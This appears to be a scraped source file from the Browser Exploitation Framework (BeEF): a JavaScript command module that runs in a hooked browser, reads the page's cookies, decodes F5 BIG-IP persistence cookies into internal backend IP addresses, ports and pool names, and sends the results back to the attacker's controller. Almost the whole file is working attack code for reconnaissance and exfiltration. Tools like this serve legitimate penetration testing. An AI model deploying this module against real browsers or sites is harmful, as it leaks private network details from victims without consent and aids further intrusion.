Path: blob/master/modules/network/ADC/f5_bigip_cookie_disclosure/command.js
1873 views
//1// Copyright (c) 2006-2026Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var poolName = 'unknown';9var routedDomain = 'unknown';10var BIGipCookieName = '';11var BIGipCookieValue = '';12var backend = '';13var result = '';1415function f5CookieDecode(cookieValue){16var host;17var port;1819if (cookieValue.match(/(\d{8,10})\.(\d{1,5})\./) !== null) {20host = cookieValue.split('.')[0];21host = parseInt(host);22host = '' + (host & 0xFF) + '.' +23((host >> 8) & 0xFF) + '.' +24((host >> 16) & 0xFF) + '.' +25((host >> 24) & 0xFF);26port = cookieValue.split('.')[1];27port = parseInt(port);28port = '' + (((port & 0xFF) << 8) | ((port >> 8) & 0xFF));29} else if (cookieValue.match(/rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/) !== null) {30host = cookieValue.split('ffff')[1].split('o')[0];31host = parseInt(host.slice(0,2), 16) + '.' +32parseInt(host.slice(2, 4), 16) + '.' +33parseInt(host.slice(4, 6), 16) + '.' +34parseInt(host.slice(6, 8), 16);35port = cookieValue.split('ffff')[1].split('o')[1];36port = parseInt(port).toString(16);37port = parseInt(port.slice(2, 4) + port.slice(0, 2), 16);38} else if (cookieValue.match(/vi([a-f0-9]{32})\.(\d{1,5})/) !== null) {39host = cookieValue.split('.')[0].slice(2, -1);40var decoded_host = '';41for (var i = 0; i < host.length; i += 4) {42decoded_host += host.slice(i, i + 4) + ':';43}44host = decoded_host;45port = cookieValue.split('.')[1];46port = parseInt(port);47port = '' + ( ((port & 0xFF) << 8) | ((port >> 8) & 0xFF) );48} else if (cookieValue.match(/rd\d+o([a-f0-9]{32})o(\d{1,5})/) !== null) {49host = cookieValue.split('o')[1];50var decoded_host = '';51for (var i = 0; i < host.length; i += 4){52decoded_host += host.slice(i,i+4) + ':';53}54host = decoded_host;55port = cookieValue.split('o')[2];56}5758return {59host: host,60port: port61}62}6364var m = document.cookie.match(/([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|(rd\d+o0{20}f{4}\w+o\d{1,5})|(vi([a-f0-9]{32})\.(\d{1,5}))|(rd\d+o([a-f0-9]{32})o(\d{1,5})))(?:$|,|;|\s)/);6566if (m !== null) {67BIGipCookieName = m[0].split('=')[0];68BIGipCookieValue = m[0].split('=')[1];69result = 'BigIP_cookie_name=' + BIGipCookieName;7071// Retrieve pool name via cookie name72if (BIGipCookieName.match(/^BIGipServer/) !== null) {73poolName = BIGipCookieName.split('BIGipServer')[1];74result += '&pool_name=' + poolName;75}7677// Routed domain is used78if (BIGipCookieValue.match(/^rd/) !== null) {79routedDomain = BIGipCookieValue.split('rd')[1].split('o')[0];80result += '&routed_domain=' + routedDomain;81}8283backend = f5CookieDecode(BIGipCookieValue);84result += '&host=' + backend.host + '&port=' + backend.port;85}86else result = 'result=BigIP cookie not found'87beef.net.send('<%= @command_url %>', <%= @command_id %>, result);88});899091